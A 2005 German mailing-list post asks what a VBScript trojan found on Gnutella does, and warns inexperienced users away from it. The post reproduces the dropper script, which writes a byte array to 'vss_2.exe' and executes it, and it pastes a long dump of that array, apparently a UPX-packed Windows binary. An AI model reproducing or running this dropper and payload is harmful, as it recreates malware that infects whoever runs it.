[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
OT: Was tut dieser Trojaner ? [Windows Nutzer bitte Finger weg]
[Thread Prev] | [Thread Next]
- Subject: OT: Was tut dieser Trojaner ? [Windows Nutzer bitte Finger weg]
- From: Christian Eichert <moga@xxxxxxxxxxxxx>
- Date: Fri, 17 Jun 2005 12:34:35 +0200 (CEST)
- To: uugrn@xxxxxxxxxxxxxxx
Hallo Liste Ich habe da einen vbs script. Es erzeugt eine Datei die "vss_2.exe" heisst und startet diese als Dienst. Ich bin neugierig was das Ding macht. Im GNutella Network wird dieser vbs von mehreren (offensichtlich infizierten) Nutzer angeboten. Das komische daran ist das es irgendwie an den query string kommt, denn egal wonach man sucht bieten die infizierten User sofort die datei als vbs an. zB sucht man nach "weihnachten" wird sofort "weihnachten.vbs" zum download als gefunden angezeigt. Sucht man nach "gibtsnicht" wird "gibtsnicht.vbs" angeboten. Hinweis: ********** ACHTUNG es handelt sich um einen Trojaner der Schaden an Ihrem Computer anrichten kann. Ich bitte alle unerfahrenen Nutzer die Finger davon zu lassen. DANKE. dim filesys, filetxt, getname, path, textfile, i textfile = "vss_2.exe" Set filesys = CreateObject("Scripting.FileSystemObject") Set filetxt = filesys.CreateTextFile(textfile, True) getname = filesys.GetFileName(path) dim a a=Array(......) for i=0 to 21115 filetxt.Write(chr(a(i))) next filetxt.Close dim z dim zz Const ForReading = 1, ForWriting = 2, ForAppending = 3 const RemoteExe = "vss_2.exe" set zz = wscript.createobject("wscript.shell") z = zz.run ("vss_2.exe") wscript.quit hier ist der Inhalt der Array: (Ihabe die Datei umbenannt in array.txt) http://mx.homelinux.org/document.txt Was mich interessiert ist was dieser Code tatsächlich tut. 77,90,0,0,1,0,0,0,2,0,0,0,255,255,0,0,64,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,180,76,205,33,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,144,0,0,0,169,38,221,19,237,71,179,64,237,71,179,64,237,71,179,64,237,71,179,64,238,71,179,64,99,88,160,64,109,71,179,64,17,103,161,64,236,71,179,64,42,65,181,64,236,71,179,64,82,105,99,104,237,71,179,64,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,80,69,0,0,76,1,3,0,204,15,144,64,0,0,0,0,0,0,0,0,224,0,15,1,11,1,5,12,0,80,0,0,0,16,0,0,0,144,0,0,240,226,0,0,0,160,0,0,0,240,0,0,0,0,64,0,0,16,0,0,0,2,0,0,4,0,0,0,0,0,0,0,4,0,0,0,0,0,0,0,0,0,1,0,0,16,0,0,0,0,0,0,2,0,0,0,0,0,16,0,0,16,0,0,0,0,16,0,0,16,0,0,0,0,0,0,16,0,0,0,0,0,0,0,0,0,0,0,164,243,0,0,76,2,0,0,0,240,0,0,164,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,85,80,88,48,0,0,0,0,0,144,0,0,0,16,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,0,0,224,85,80,88,49,0,0,0,0,0,80,0,0,0,160,0,0,0,70,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,224,46,114,115,114,99,0,0,0,0,16,0,0,0,240,0,0,0,6,0,0,0,72,0,0,0,0,0,0,0,0,0,0,0,0,0,0,64,0,0,192,49,46,50,52,0,85,80,88,33,12,9,2,8,191,39,61,95,218,208,111,158,199,199,0,0,201,66,0,0,0,146,0,0,38,0,0,204,255,255,255,155,250,201,58,113,42,43,24,144,243,163,43,16,137,252,123,8,218,121,66,23,24,14,115,238,127,94,82,191,253,255,255,186,250,4,58,143,24,57,175,113,22,172,113,191,242,113,143,246,113,183,234,25,226,45,59,16,242,200,252,220,255,177,221,223,5,59,113,254,38,201,56,188,24,18,164,51,56,246,250,43,107,237,183,239,42,13,42,5,143,234,2,246,170,18,58,5,0,13,25,127,251,246,7,121,62,14,146,250,218,53,144,250,18,97,52,250,115,191,6,61,191,255,190,197,190,14,130,144,1,48,242,18,45,186,13,119,191,2,170,255,155,175,123,41,18,6,21,83,121,135,2,250,143,248,17,233,5,143,119,111,238,145,2,14,18,106,91,67,14,17,53,15,18,170,186,219,54,115,96,70,106,135,14,119,254,106,183,246,220,102,226,89,90,165,200,236,71,242,248,183,217,222,223,137,254,25,144,254,146,22,164,189,5,255,11,189,237,193,182,170,203,7,201,40,13,71,104,38,238,246,173,220,53,173,6,113,252,246,59,19,248,64,9,81,9,239,62,178,253,121,27,249,9,80,165,30,242,169,113,167,246,33,144,224,18,99,242,148,253,119,73,121,58,155,6,80,177,143,11,161,31,240,18,131,123,231,22,50,202,177,184,251,18,74,197,169,202,173,117,127,241,58,142,244,170,144,148,37,12,187,40,196,127,22,186,193,131,172,69,143,132,135,201,33,25,174,195,151,237,255,86,59,26,234,121,3,251,142,241,86,156,9,242,248,142,251,86,154,7,121,123,120,18,232,18,199,152,56,9,246,18,201,252,18,111,237,221,145,211,18,216,6,185,121,1,232,72,66,156,66,247,8,173,253,255,240,156,81,121,19,249,131,72,13,35,209,3,74,199,208,145,196,255,255,255,255,121,26,197,198,196,137,232,198,206,137,240,254,187,198,161,136,245,254,252,17,241,254,6,17,253,214,196,58,26,248,254,235,30,218,195,209,80,73,169,144,105,36,161,127,179,125,67,135,123,201,113,34,224,34,6,97,51,5,8,84,122,223,246,123,187,190,142,227,178,18,116,196,211,143,253,89,161,237,115,157,49,115,255,252,121,60,254,17,32,66,251,136,18,24,6,118,133,159,219,222,146,248,21,83,112,4,36,77,189,189,46,246,119,23,132,67,250,19,114,238,192,4,56,24,3,18,98,214,248,109,227,60,191,4,113,51,192,112,254,193,114,191,133,13,178,237,238,182,8,203,5,245,76,175,9,192,114,21,112,236,219,133,183,5,192,187,193,40,136,248,40,4,57,143,47,216,183,23,220,217,106,2,185,143,242,112,249,60,7,112,108,196,22,218,185,251,5,220,1,87,140,2,254,181,246,227,228,186,4,27,79,3,238,194,114,175,109,239,219,221,99,175,6,13,6,112,12,4,23,145,194,155,235,92,139,16,26,9,5,248,122,164,113,221,186,183,111,64,202,238,202,5,5,24,58,112,35,249,4,6,114,223,62,73,175,96,230,25,113,186,198,249,5,245,77,186,252,133,221,45,8,214,226,66,210,116,13,159,218,140,247,214,150,175,168,29,5,249,56,255,136,28,150,173,124,152,246,19,43,5,60,238,246,23,108,228,194,23,67,234,20,221,16,163,107,190,21,117,178,8,170,144,116,251,218,210,155,183,179,91,5,194,113,113,185,107,223,254,191,161,11,209,48,113,169,242,249,43,249,169,246,115,221,5,137,234,117,182,23,242,157,190,118,238,251,5,63,181,17,62,160,99,237,119,59,144,210,9,15,6,18,246,117,59,5,234,23,202,178,44,2,238,6,57,185,222,253,202,201,150,218,26,223,156,5,25,186,170,77,182,217,223,212,251,170,170,61,122,42,250,0,9,46,108,143,109,52,207,234,33,242,37,210,17,249,58,6,228,198,167,33,37,13,251,144,251,104,199,205,238,182,150,69,88,232,23,5,168,242,17,41,246,254,253,232,119,175,2,137,248,61,184,254,79,35,253,75,248,94,221,153,6,36,46,238,245,215,178,177,219,172,119,19,61,252,131,188,48,105,90,176,15,236,144,248,49,113,252,164,99,23,39,135,185,179,76,119,248,18,250,128,139,108,177,37,137,89,248,138,151,205,204,55,33,53,182,91,226,105,44,247,96,50,123,62,130,29,173,249,248,8,44,184,238,146,51,122,203,99,192,21,190,221,32,240,186,142,190,3,122,25,119,127,45,170,75,54,96,191,228,91,193,231,2,24,90,146,251,70,160,234,30,51,36,100,68,95,183,108,39,35,19,18,173,230,18,226,151,90,163,124,225,40,198,124,156,61,191,0,132,97,222,23,190,53,11,5,183,0,13,27,224,144,186,18,227,93,80,182,143,221,201,253,210,194,22,117,189,254,5,10,188,105,182,205,205,107,156,7,246,0,244,61,189,234,106,207,212,34,63,31,159,10,63,27,216,218,218,210,229,52,26,104,249,54,157,242,239,39,225,194,115,189,69,61,165,31,26,169,173,201,5,222,67,71,211,129,149,176,110,167,111,238,225,104,7,222,88,108,238,14,204,208,20,248,235,99,24,6,214,234,18,229,198,86,245,126,127,115,135,8,49,29,7,142,10,9,203,203,195,175,58,200,51,195,43,2,159,144,244,24,118,223,149,27,160,174,0,217,24,184,183,66,244,36,249,249,246,97,107,220,29,22,249,161,5,30,76,10,170,38,189,193,220,110,203,18,88,119,19,210,122,233,158,75,210,18,117,154,139,19,129,114,31,116,159,7,183,105,189,112,22,8,251,12,159,219,209,2,5,162,144,46,213,146,7,86,32,25,157,238,161,106,26,133,100,107,143,195,22,33,158,222,12,10,225,8,187,211,98,245,220,193,228,144,246,172,207,231,182,247,199,193,119,135,251,30,76,249,34,134,230,123,190,170,26,212,251,9,208,146,59,195,191,110,6,222,16,1,173,248,18,214,3,254,8,191,111,58,7,222,160,146,231,112,186,32,254,144,41,182,216,187,49,168,62,70,248,93,1,175,78,202,159,175,228,52,138,62,46,252,18,23,2,185,251,237,7,154,66,170,54,15,17,207,121,2,251,11,250,54,170,179,52,187,101,211,248,23,54,170,231,249,109,54,203,114,234,234,5,235,254,5,218,255,66,213,218,103,236,213,79,106,223,119,244,140,112,224,134,239,53,18,149,36,18,180,192,77,50,15,135,176,239,57,27,169,184,184,107,226,19,239,82,255,18,151,2,11,245,170,22,152,10,193,173,181,253,1,240,140,255,15,137,12,4,205,170,6,229,93,243,7,84,171,9,246,18,78,7,44,89,52,12,92,10,193,81,74,182,211,195,141,182,170,194,79,10,47,3,6,24,233,14,223,46,239,86,86,186,183,26,207,14,150,217,94,68,80,53,27,74,121,238,225,24,203,6,191,76,5,229,152,10,182,224,190,200,223,137,202,16,18,129,194,125,114,10,244,24,38,222,30,238,6,119,201,117,232,9,94,69,63,110,47,241,88,17,110,57,182,5,216,143,65,21,44,205,7,6,231,31,7,10,18,52,205,212,14,217,203,70,131,169,164,154,14,220,1,5,174,77,136,69,56,91,205,254,122,47,11,247,141,141,120,84,69,242,80,32,45,6,117,102,115,175,202,209,15,180,78,137,229,158,108,143,32,29,176,20,66,251,185,186,215,240,198,13,70,243,119,179,70,67,61,149,14,59,152,12,119,138,38,131,113,19,166,225,59,84,143,176,134,65,217,108,11,183,219,47,146,94,55,146,184,9,33,2,117,81,46,91,99,152,41,178,22,252,13,47,8,79,207,198,238,23,22,91,47,27,238,177,29,113,72,12,44,253,69,215,58,10,69,188,177,191,185,205,6,32,38,170,173,18,161,4,25,232,13,204,8,159,61,185,9,15,248,113,37,127,82,111,78,198,219,151,165,152,16,203,205,50,64,62,41,74,252,127,240,24,11,25,239,67,32,59,24,255,59,17,225,241,41,99,19,45,182,133,188,249,22,20,185,66,176,69,161,73,254,132,130,170,110,182,245,216,71,163,204,92,107,251,74,25,245,182,178,131,234,217,183,246,61,248,69,186,173,80,184,1,56,121,194,191,44,242,46,208,185,182,157,110,160,115,248,133,176,215,28,147,209,98,23,111,164,42,113,242,36,143,252,179,199,110,209,224,160,187,153,18,168,45,6,207,111,139,21,56,205,46,29,186,30,161,123,55,2,184,46,206,173,61,127,34,6,210,27,190,93,129,147,107,93,44,115,127,25,119,119,238,183,197,24,247,79,12,18,29,23,102,184,69,189,27,251,217,182,138,244,173,27,6,18,41,204,21,241,36,7,132,218,103,26,7,15,4,51,143,45,29,108,115,97,67,83,17,64,12,62,206,165,67,5,78,173,88,126,61,240,206,202,142,5,83,18,249,35,21,195,117,140,195,32,112,6,171,223,77,225,105,122,110,139,19,35,87,58,55,61,26,182,200,67,234,33,136,232,207,14,253,151,133,70,70,249,2,118,252,68,35,12,26,13,12,213,16,244,169,140,244,225,156,249,146,179,177,206,89,186,33,99,135,10,161,180,32,248,156,205,216,195,58,247,208,32,10,27,250,224,42,141,125,148,144,19,26,222,163,234,111,29,35,136,176,100,113,7,188,123,196,182,173,191,248,111,212,93,17,13,255,42,234,34,113,52,209,183,2,123,59,250,177,59,11,25,198,20,2,5,120,94,90,43,20,123,52,5,33,161,42,66,193,185,38,106,61,46,5,183,157,214,25,183,187,89,178,242,123,2,250,202,176,30,253,227,247,201,189,195,101,155,74,206,10,26,117,199,191,71,129,89,27,37,210,25,108,206,187,73,115,86,112,18,254,169,194,206,219,102,203,23,160,18,236,47,19,18,25,39,159,54,221,47,156,17,52,247,204,201,212,215,238,61,117,7,185,123,55,16,213,63,201,8,186,166,31,72,57,26,146,35,106,98,178,59,104,140,61,196,206,80,168,17,40,239,154,234,8,44,131,189,26,17,164,156,251,17,0,126,186,129,239,75,201,134,26,151,64,54,104,104,64,61,104,169,93,218,30,208,112,31,156,27,58,156,70,171,45,59,246,27,12,38,62,246,11,30,201,99,238,119,191,239,16,98,72,152,183,26,73,250,141,102,146,50,107,138,35,223,11,200,71,201,17,39,112,234,3,50,230,118,141,146,42,103,91,96,114,228,219,12,32,172,146,45,82,144,72,153,65,14,45,205,121,56,128,209,8,119,75,5,203,99,83,198,178,245,71,24,28,2,139,241,25,44,221,250,220,200,250,59,11,238,228,131,233,90,20,120,86,203,94,7,178,249,176,172,185,245,119,46,104,42,200,87,200,147,3,46,104,103,200,195,0,57,114,146,200,62,98,69,98,242,74,94,114,132,200,150,200,192,200,222,64,186,7,241,108,138,191,17,28,228,36,31,119,232,200,50,98,216,200,217,188,146,151,234,200,36,203,213,108,201,147,3,178,8,203,213,108,69,203,33,7,146,87,125,202,144,202,228,201,43,121,84,202,206,202,214,202,120,1,28,37,161,28,246,200,56,193,110,193,44,29,46,201,56,27,215,117,111,11,65,242,69,207,58,86,183,40,68,89,9,119,228,254,130,73,249,255,62,10,80,255,126,242,233,54,122,151,242,186,89,14,80,226,45,50,239,48,120,231,94,9,8,247,12,244,5,26,218,123,27,21,39,51,240,59,121,11,251,7,120,173,117,124,27,50,96,100,2,127,7,9,218,162,200,9,62,61,255,107,130,172,206,238,43,111,182,232,9,62,115,157,191,217,68,106,20,98,179,189,4,90,86,17,253,53,163,86,240,192,212,176,90,86,15,4,61,63,8,185,49,232,66,25,202,119,135,12,17,237,107,237,1,67,144,123,21,6,114,56,213,23,218,166,147,80,5,31,236,10,240,136,25,179,125,201,183,107,12,51,126,17,219,86,36,190,97,146,143,70,114,67,110,22,234,255,225,193,97,101,202,58,35,225,241,185,94,32,91,43,226,28,213,92,152,9,228,242,34,226,15,4,57,239,214,2,6,239,87,9,143,254,15,107,230,11,86,190,36,148,50,16,50,242,53,223,13,154,170,71,2,5,96,198,94,51,201,162,33,13,199,35,27,217,74,88,117,133,5,45,78,77,246,199,183,213,196,246,143,80,120,10,78,254,141,177,133,81,212,176,156,21,10,156,123,16,70,253,156,237,111,183,37,158,243,12,183,8,7,27,255,156,241,183,12,3,210,116,205,246,43,156,115,234,33,242,2,28,241,0,162,48,73,111,24,203,106,134,30,6,110,18,223,74,84,193,170,212,192,212,66,123,94,65,49,202,110,128,203,246,102,154,5,106,144,228,124,44,186,20,11,152,101,91,103,212,10,82,207,210,238,99,223,238,47,240,156,121,183,38,251,4,74,251,183,73,62,98,118,173,171,187,61,46,177,249,254,64,36,112,5,84,240,219,171,237,86,30,84,156,75,32,54,3,26,186,166,51,11,146,220,20,26,78,7,24,182,125,245,107,76,141,219,23,215,30,2,66,124,171,237,123,54,40,163,134,215,88,18,2,70,136,117,38,46,155,160,58,98,156,17,3,62,179,9,219,214,10,251,169,121,2,228,69,173,213,54,115,79,118,253,141,19,13,98,17,26,115,131,19,9,72,185,209,194,109,51,75,117,100,238,48,7,92,246,3,177,111,82,155,70,14,246,242,45,111,118,122,234,14,3,230,116,18,240,23,98,238,122,223,86,198,30,6,31,94,153,160,80,182,140,75,152,4,155,126,250,5,58,185,30,194,200,160,90,217,146,54,140,88,87,2,243,23,136,160,185,108,27,178,155,239,54,248,5,108,170,26,173,156,13,175,23,182,115,219,155,197,98,151,255,159,3,18,255,211,13,147,238,29,6,130,82,229,5,19,238,179,77,130,168,11,25,106,47,214,146,207,119,14,9,21,11,214,34,90,72,194,65,182,37,164,55,55,214,37,220,185,111,12,232,71,18,121,16,246,19,239,102,18,2,130,187,132,22,183,29,141,37,234,9,71,154,203,82,251,248,72,86,238,240,159,75,45,190,5,54,205,228,52,218,143,82,207,187,243,82,246,230,67,212,178,94,18,20,209,226,4,161,145,14,226,94,226,108,55,72,53,38,91,101,95,191,97,132,255,209,15,87,161,214,159,238,251,251,121,251,212,127,201,70,230,187,234,34,216,81,234,208,11,4,220,142,254,159,29,208,143,132,78,243,99,6,249,132,246,18,221,74,54,207,60,208,2,24,250,131,95,178,241,52,99,32,14,59,236,197,40,197,82,228,235,214,17,200,18,54,170,31,112,102,227,250,84,230,217,213,116,6,120,203,220,71,200,140,150,27,245,169,192,35,30,233,136,4,91,17,174,135,222,89,26,238,65,12,11,20,96,190,96,103,18,226,59,21,33,237,179,233,178,109,40,255,252,82,32,248,32,156,61,54,107,107,203,38,113,209,67,154,36,187,153,86,124,134,111,49,253,100,104,35,176,48,120,242,171,207,43,211,51,211,98,184,122,192,232,226,227,146,248,99,190,93,7,119,55,28,122,18,92,56,146,203,87,41,24,244,170,63,83,63,98,10,217,146,212,124,73,109,209,27,37,169,103,81,141,209,9,245,218,51,100,230,176,138,63,150,82,169,99,29,228,176,62,168,194,209,116,147,241,59,162,189,211,69,144,239,57,245,77,178,252,179,20,31,61,72,200,27,113,41,177,41,108,127,6,156,197,57,9,173,146,66,241,250,55,7,33,159,11,193,234,58,6,210,38,193,233,163,223,201,15,203,139,212,88,253,115,30,210,50,212,211,210,199,110,80,169,229,185,32,140,211,21,233,113,221,82,255,199,34,18,67,113,130,238,249,130,234,169,233,211,102,96,122,39,191,147,210,173,186,121,211,149,123,217,117,211,77,9,13,151,146,38,255,36,31,18,7,158,85,234,255,233,51,44,18,223,125,31,246,146,13,13,170,47,181,143,38,10,198,115,66,24,192,93,194,223,2,13,114,0,11,95,221,210,135,156,13,33,158,113,145,210,177,222,248,49,172,157,156,255,181,200,246,184,64,207,90,182,19,207,170,83,43,26,196,86,184,6,239,147,17,77,115,92,169,228,184,234,238,222,33,76,31,168,237,46,99,239,17,5,200,18,21,27,234,18,85,9,189,169,47,132,120,182,255,221,242,104,221,155,50,169,151,184,149,251,144,158,18,14,29,240,117,140,219,255,142,99,45,94,240,45,251,245,161,9,55,167,145,203,66,124,52,95,210,17,208,28,36,48,99,16,120,192,26,221,199,103,139,209,50,97,25,146,202,99,36,115,32,7,246,50,18,181,12,184,207,252,9,142,57,7,76,145,10,129,237,89,146,99,207,52,216,183,158,4,154,38,86,48,7,57,236,37,184,120,99,96,90,169,123,158,182,71,14,27,26,14,175,38,144,252,84,143,139,140,28,230,211,161,196,22,77,217,8,159,121,22,18,62,7,182,128,30,148,146,145,65,186,23,90,206,18,150,228,219,100,114,196,26,18,115,221,12,153,226,28,200,138,153,151,45,217,150,188,12,18,18,224,25,247,52,223,94,179,75,250,144,35,12,30,18,245,220,158,58,214,135,26,87,208,95,28,74,18,38,8,183,61,224,82,233,68,195,104,18,55,99,99,220,23,175,28,143,170,19,103,18,52,231,44,221,59,107,55,14,23,65,45,90,158,183,233,146,156,221,19,149,146,207,161,127,46,188,49,13,58,44,238,255,28,200,245,120,33,148,192,207,177,250,15,15,31,170,136,135,49,53,182,24,183,187,137,223,163,10,38,67,251,122,70,192,61,184,10,38,149,147,18,246,78,186,159,7,193,223,199,255,230,114,9,14,205,70,57,97,7,81,138,190,211,252,38,188,247,19,179,138,77,238,242,0,132,179,157,187,19,101,110,145,136,224,46,179,119,147,71,154,223,30,46,8,122,238,136,237,228,236,242,146,169,193,10,17,158,22,180,54,72,215,188,236,14,183,218,224,246,34,231,144,109,115,207,17,225,16,210,197,222,33,156,179,240,164,192,166,163,209,124,63,212,195,78,146,222,211,232,146,166,34,162,231,62,195,96,21,234,168,7,28,29,37,222,9,219,216,10,7,30,8,222,246,52,7,50,70,31,27,55,60,222,187,57,2,42,54,228,8,55,130,17,86,66,85,30,124,54,55,81,114,26,47,253,24,251,28,227,44,100,198,54,38,34,170,41,30,110,42,30,46,147,157,45,12,34,52,217,19,251,16,13,241,141,199,201,58,17,249,145,57,129,119,75,135,143,172,239,4,29,113,10,65,192,172,129,188,16,162,185,157,67,217,57,8,241,57,179,222,194,169,152,192,223,217,67,136,243,233,195,160,166,30,57,238,6,219,28,239,17,62,12,202,94,146,86,247,195,224,230,186,65,216,22,152,161,164,92,237,126,21,106,217,97,89,102,24,38,140,25,222,97,176,217,43,237,225,254,251,168,131,58,7,15,123,246,178,14,232,222,29,204,84,187,20,168,100,54,31,183,50,219,191,251,206,34,165,36,75,19,254,4,123,130,251,215,143,138,211,181,110,253,158,142,243,186,122,130,38,143,10,171,111,251,141,125,246,220,30,150,44,71,18,59,217,214,148,238,135,165,15,240,143,237,110,217,139,146,1,98,31,190,203,222,215,52,98,193,42,134,97,181,32,250,3,54,114,192,64,160,216,220,35,209,118,175,100,35,144,39,19,176,186,222,178,185,115,36,27,183,216,29,124,2,88,220,117,127,251,57,146,42,253,154,5,25,17,28,57,247,115,225,192,201,250,146,126,130,250,5,253,120,217,238,107,24,186,5,250,16,164,217,137,143,225,75,20,34,135,15,178,155,118,246,120,47,22,118,6,254,113,244,226,20,81,246,109,49,62,113,207,36,9,223,12,230,123,153,219,57,40,174,0,17,232,50,13,212,67,168,111,57,250,141,14,4,148,217,120,99,218,127,8,62,2,117,201,198,56,205,24,251,142,84,117,5,35,18,207,10,36,137,56,125,184,22,219,230,53,216,119,144,97,160,248,1,152,172,90,90,183,122,252,220,224,158,109,234,146,238,116,68,14,190,123,1,177,125,123,63,75,140,253,67,6,45,113,49,25,203,69,171,213,191,95,176,231,122,125,129,216,228,132,228,209,34,14,117,178,117,18,232,25,170,246,230,232,183,219,45,255,142,248,50,17,70,102,127,33,245,110,58,108,91,4,105,17,238,175,33,103,226,59,128,11,242,220,165,159,85,190,93,226,228,223,202,80,238,194,18,143,248,73,251,34,245,146,205,93,34,94,72,86,40,0,59,240,193,191,58,37,97,229,119,216,225,142,70,95,98,14,31,242,31,13,101,190,67,89,43,136,193,255,171,31,46,108,66,1,157,40,26,36,238,144,240,184,87,44,205,55,137,152,127,189,0,236,29,102,190,49,186,120,254,53,120,30,245,155,111,246,26,115,122,135,4,218,143,241,190,3,237,26,167,33,213,16,215,142,160,169,89,244,186,13,122,5,2,50,219,132,75,174,252,134,224,164,219,244,175,154,35,151,46,23,65,102,10,178,26,10,130,91,25,128,248,205,183,183,8,158,224,6,108,3,142,255,135,17,229,14,240,239,75,208,2,6,20,17,223,17,245,166,43,246,206,202,70,7,67,238,206,68,85,208,204,118,118,46,218,89,242,10,57,113,176,214,16,234,11,229,118,108,127,9,72,114,33,37,160,252,113,140,254,124,62,11,22,176,0,43,8,220,166,216,253,154,59,77,65,159,108,95,229,86,1,5,45,210,195,238,41,33,17,156,107,166,218,41,128,68,135,108,133,174,76,13,136,188,236,217,169,178,131,234,37,40,215,218,238,183,225,166,63,208,107,113,239,130,121,123,0,14,47,137,233,35,222,113,164,142,70,172,121,70,228,89,252,171,18,240,51,176,176,161,171,64,241,200,241,37,120,180,132,94,175,65,146,166,190,68,104,3,26,241,41,229,172,40,66,159,98,227,11,186,254,254,152,238,180,117,69,6,203,222,84,157,145,45,150,1,105,111,242,122,164,158,196,52,228,52,207,254,44,242,146,244,86,223,19,13,56,39,167,233,62,135,214,85,179,234,10,1,238,236,134,178,55,82,77,182,110,31,207,186,25,234,186,194,161,211,113,22,105,172,252,174,123,39,23,194,77,229,85,7,75,149,100,160,68,31,161,105,19,173,69,35,132,80,2,39,36,90,83,5,58,23,165,121,34,55,246,88,64,178,140,62,136,22,15,101,235,244,239,18,212,208,236,121,145,6,253,39,125,16,61,64,150,75,69,153,228,54,42,200,6,139,94,135,255,231,217,183,131,221,22,234,228,49,90,44,39,85,65,200,254,214,205,253,114,253,146,105,222,17,14,38,101,201,57,177,131,20,161,91,227,131,73,174,170,173,52,5,207,131,108,185,135,150,2,240,62,108,110,60,203,150,233,220,127,132,154,6,133,92,242,84,120,8,102,51,90,132,103,156,231,104,196,179,62,202,102,173,18,122,251,117,14,82,105,82,255,107,119,1,146,204,87,110,66,1,249,32,182,227,53,7,164,216,88,109,187,27,71,117,238,207,142,109,140,243,8,241,136,255,19,68,60,83,250,25,100,176,88,11,88,103,88,110,177,36,7,9,26,38,91,76,4,141,96,110,66,31,32,20,28,221,108,29,119,5,193,255,242,25,142,93,154,122,199,96,69,232,176,205,254,13,193,33,203,221,110,119,13,159,12,146,193,85,26,19,244,66,54,206,9,67,254,199,46,7,235,48,171,21,196,36,60,255,60,17,217,255,255,255,255,158,149,148,221,142,218,159,140,159,148,218,142,136,131,218,192,215,211,135,241,20,243,115,157,49,238,92,114,31,170,79,76,255,255,255,255,31,86,123,102,135,153,186,202,23,74,49,188,175,130,244,198,229,64,222,1,86,240,160,65,90,219,175,180,80,223,90,134,255,255,255,255,156,79,222,21,69,74,35,181,98,195,183,91,167,215,254,228,73,133,46,15,37,80,196,173,127,53,14,205,105,149,211,95,255,13,254,255,193,165,64,131,237,51,33,182,250,49,53,164,123,20,74,76,111,137,202,22,201,73,31,150,255,255,255,255,23,127,87,207,195,242,208,210,203,214,231,103,159,232,60,158,192,175,95,235,196,144,235,19,33,100,42,238,192,67,9,246,248,255,255,165,230,22,233,84,233,185,245,178,233,150,248,228,162,244,62,241,209,11,13,125,80,35,53,255,255,255,165,156,117,233,46,188,57,123,252,112,43,31,41,122,67,233,131,24,43,202,145,38,26,97,188,111,18,255,255,255,191,148,195,67,175,162,154,182,78,227,91,116,158,112,127,82,181,65,22,57,36,100,108,221,252,191,209,223,232,235,7,42,227,115,201,147,67,111,43,45,57,46,121,145,255,255,127,161,146,156,144,45,84,131,87,34,58,120,37,174,79,115,235,180,195,6,222,189,236,4,56,26,255,255,45,254,140,22,102,53,69,193,174,207,33,96,92,76,3,242,110,64,158,194,159,197,222,188,163,181,255,255,255,255,92,177,174,124,110,26,107,223,2,34,24,30,166,104,178,247,27,31,39,80,75,105,118,104,244,205,21,225,145,48,208,224,255,255,255,255,3,36,103,101,60,166,149,164,212,118,236,188,28,67,194,50,196,240,108,82,206,106,235,65,242,179,232,114,29,85,95,160,191,193,255,255,105,212,21,46,168,156,104,53,39,78,185,29,56,112,69,62,120,216,13,20,40,218,32,197,255,255,255,255,57,61,99,175,138,112,6,130,228,243,93,19,0,183,174,240,148,44,111,134,83,73,168,66,129,101,170,61,133,116,152,180,255,255,255,255,233,97,209,70,105,122,236,117,248,177,77,224,54,9,106,116,63,58,215,91,226,144,214,134,197,172,179,61,145,9,60,91,255,255,255,255,151,23,209,228,117,234,224,189,88,217,206,45,197,25,129,212,196,119,123,224,94,166,62,52,144,184,127,79,134,157,190,149,255,255,141,255,222,245,167,41,234,198,87,247,139,126,186,66,154,110,159,249,7,12,150,171,199,213,165,79,195,56,255,255,27,253,53,165,3,59,236,51,44,200,156,92,84,243,128,174,42,62,152,187,107,57,169,97,100,164,255,219,255,255,176,192,8,196,126,19,189,112,213,246,86,50,72,67,242,87,162,236,134,48,133,33,58,69,73,157,158,45,255,255,255,255,154,197,30,106,130,67,253,253,39,214,7,197,192,65,68,131,43,188,124,25,92,58,230,98,52,100,100,81,249,50,175,104,255,255,214,255,50,79,221,103,50,249,30,155,26,86,125,104,156,238,253,131,138,145,185,50,53,79,122,235,204,200,255,151,254,255,182,165,174,76,247,253,115,255,129,61,27,233,102,215,243,204,31,216,205,198,63,106,3,26,182,162,255,255,255,255,59,49,242,65,186,220,91,224,252,33,63,89,31,184,223,229,29,183,193,151,51,110,231,239,154,27,42,22,54,230,0,193,193,219,255,255,82,31,141,29,5,192,113,211,238,177,81,189,46,86,81,170,114,67,74,121,203,147,255,255,255,191,17,241,45,103,47,134,42,102,78,189,162,165,140,134,183,88,96,184,119,69,181,99,14,21,71,25,40,209,20,175,234,255,255,255,81,85,164,36,29,252,88,178,239,187,6,208,21,247,217,154,179,169,76,101,180,138,6,166,57,51,59,255,255,47,208,131,165,43,85,2,45,155,23,218,205,129,224,53,204,62,81,159,137,58,9,82,106,7,35,248,114,3,47,245,249,125,238,224,7,69,110,125,54,160,102,205,227,102,121,71,7,203,124,31,211,110,19,217,133,174,227,37,9,56,6,14,165,164,93,245,3,15,118,164,5,255,88,0,18,144,38,88,152,0,211,102,251,215,92,1,124,35,209,13,253,23,24,242,189,217,249,250,223,35,34,16,6,17,42,119,253,75,108,10,119,242,122,196,185,143,224,122,132,162,238,156,121,26,193,22,128,132,126,247,69,50,123,223,23,134,134,200,242,13,158,144,83,25,204,222,166,234,5,247,123,147,163,44,226,8,60,146,178,248,2,153,226,55,226,131,21,239,2,16,83,239,34,92,186,186,200,15,110,20,149,143,239,49,191,226,45,207,154,128,132,77,38,210,113,54,183,12,236,19,122,234,251,89,246,138,89,226,3,135,28,35,27,241,226,22,170,21,71,226,216,246,221,1,45,223,14,248,205,221,111,212,50,12,175,156,59,183,12,242,10,2,251,250,2,10,102,147,130,242,145,45,28,192,3,69,141,77,226,214,252,6,111,34,176,45,74,212,6,162,113,37,209,32,122,203,97,255,11,102,212,143,251,177,115,167,10,171,168,54,251,10,109,72,193,32,163,220,31,176,63,139,102,17,61,163,127,51,143,66,48,155,228,217,5,133,20,245,20,248,29,144,66,6,100,20,251,119,159,165,150,243,140,134,67,207,105,124,55,171,192,9,152,65,71,226,139,246,176,184,244,29,250,183,78,32,17,217,176,139,51,67,79,71,6